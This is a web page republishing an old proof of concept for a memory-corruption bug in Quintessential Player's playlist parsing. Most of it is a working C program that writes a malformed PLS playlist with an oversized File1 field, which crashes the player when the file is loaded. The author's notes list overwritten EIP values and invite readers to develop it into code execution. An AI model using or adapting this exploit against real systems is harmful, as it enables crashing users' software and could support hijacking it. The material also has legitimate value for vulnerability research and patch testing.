Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the wp-pagenavi domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/u918112125/domains/exploit.company/public_html/wp-includes/functions.php on line 6114
0-day Quintessential Player Playlist Denial Of Service PoC - exploit.company
header-logo
Suggest Exploit
vendor:
Quintessential Player
by:
Greg Linares
7.5
CVSS
HIGH
Memory Corruption
119
CWE
Product Name: Quintessential Player
Affected Version From: <= 4.50.1.82
Affected Version To: 4.50.1.82
Patch Exists: NO
Related CWE:
CPE: a:quintessential_player:quintessential_player:4.50.1.82
Metasploit:
Other Scripts:
Platforms Tested:
2006

0-day Quintessential Player Playlist Denial Of Service PoC

Quintessential Player 4.50.1.82 and lower experience a memory corruption when attempting to parse out malformed Playlist files. This possibly could lead to execution of code. The proof of concept is provided in PLS format.

Mitigation:

Update to a version higher than 4.50.1.82 or use alternative media player software.
Source

Exploit-DB raw data:

/*
0-day Quintessential Player <= 4.50.1.82 Playlist Denial Of Service PoC
========================================================================
========================================================================
Quintessential Player 4.50.1.82 and lower experiance a memory corruption
when attempting to parse out malformed Playlist files.
This possibly could lead to execution of code.  Here is the proof of
concept in PLS format.

Note: M3u and M3u-8 are also affected by this problem.

EIP gets replaced by semi random values in the memory corruption
here are my experiances:
[Buffer = 1028 A's]

Buffer + X  		EIP = 0x009efe5a
Buffer + X  		EIP = 0x00f6eb81 2nd run
Buffer + AAAA		EIP = 0x009efde2
Buffer + AAAA		EIP = 0x009efdb3 2nd run
Buffer + AAAA		EIP = 0x009efdb6 3rd run
Buffer + AAAABBBB	EIP = 0x009efdea

(Using the NumberOfEntries made it more consistant)
Buffer + AAAA		EIP = 0x00e13fd6 for 3 times until
Buffer + AAAA		EIP = 0x00e13fda

If someone can figure out how to control EIP and cause this to become
a buffer overflow exploit, this can be exploited just like
the XMPlayer Buffer Overflow issue or the old Winamp UNC overflow.

if you figure it out, just credit me with my email somewhere in the code,
ill be more than happy :)


Happy Hunting and Happy Holidays to everyone

November 2006 Month Of Greg's Media Player Exploits :)
Discovered and Reported By: Greg Linares GLinares.code@gmail.com
Reported Exploit Date: 11/28/2006

*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{

	FILE *Exploit;
	char buffer[1032]; /* Corruption Occurs after 1028 bytes */
	int x;

	printf("\n======================================================================\n");
	printf("0-day Quintessential Player 4.50.1.82 and prior Playlist Denial Of Service PoC \n");
	printf("Crashes Quintessential Player with a malformed playlist on load.\n");
	printf("Discovered and Coded By: Greg Linares <GLinares.code[at]gmail[dot]com>\n");
	printf("Usage: %s <output PLS file>\n", argv[0]);
	printf("====================================================================\n\n\n");


	if (argc < 2) {
		printf("Invalid Number Of Arguments\n");
		return 1;
	}


	Exploit = fopen(argv[1],"w");
    if ( !Exploit )
    {
        printf("\nCouldn't Open File!");
        return 1;
    }

	memset(buffer, 0, 1030);
	for (x=0;x<1030;x++) {
		strcat(buffer, "A");
	}


	/* Any field can be modified to cause the memory corruption NumberofEntries, Length, Filename, Title etc. */

	fputs("[playlist]\r\nVersion=2\r\nNumberOfEntries=1", Exploit);
	fputs("\r\nFile1=", Exploit);
	fputs(buffer, Exploit);
	fputs("\r\nTitle1=0-day_Quintessential_Player_4.50.1.82_and_prior_Playlist_Denial_Of_Service_PoC_By_Greg_Linares\r\n", Exploit);
	fputs("Length1=512", Exploit);


	printf("Exploit Succeeded...\n Output File: %s\n\n", argv[1]);


	printf("Questions, Comments, Feedback --> Greg Linares (GLinares.code[at]gmail[dot]com)\n");

	fclose(Exploit);
	return 0;
}

// milw0rm.com [2006-11-28]